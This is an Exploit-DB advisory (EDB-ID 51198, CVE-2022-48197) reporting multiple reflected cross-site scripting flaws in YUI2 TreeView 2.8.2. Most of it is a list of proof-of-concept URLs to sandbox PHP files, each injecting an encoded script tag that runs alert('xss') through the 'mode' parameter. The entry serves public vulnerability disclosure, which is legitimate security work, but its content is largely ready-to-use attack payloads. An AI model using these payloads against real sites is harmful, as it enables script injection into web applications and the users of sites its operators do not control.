Yahoo User Interface library (YUI2) TreeView v2.8.2 - Multiple Reflected Cross Site Scripting (XSS)

EDB-ID:

51198




Platform:

PHP

Date:

2023-04-01


# Exploit Title: Yahoo User Interface library (YUI2) TreeView  v2.8.2 - Multiple Reflected Cross Site Scripting (XSS)
# Google Dork: N/A
# Date: 2/1/2023
# Exploit Author: Rian Saaty
# Vendor Homepage: https://yui.github.io/yui2/
# Software Link: https://yui.github.io/yui2/
# Version: 2.8.2
# Tested on: MacOS, WindowsOS, LinuxOS
# CVE : CVE-2022-48197


The YUI2 has a lot of reflected XSS vulnerabilities in pretty much
most files. A sample of the vulnerable files along with the exploit
can be found here:

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/up.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/sam.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/renderhidden.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/removechildren.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/removeall.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/libs/bower/bower_components/yui2/sandbox/treeview/readd.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/overflow.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/newnode2.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/newnode.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

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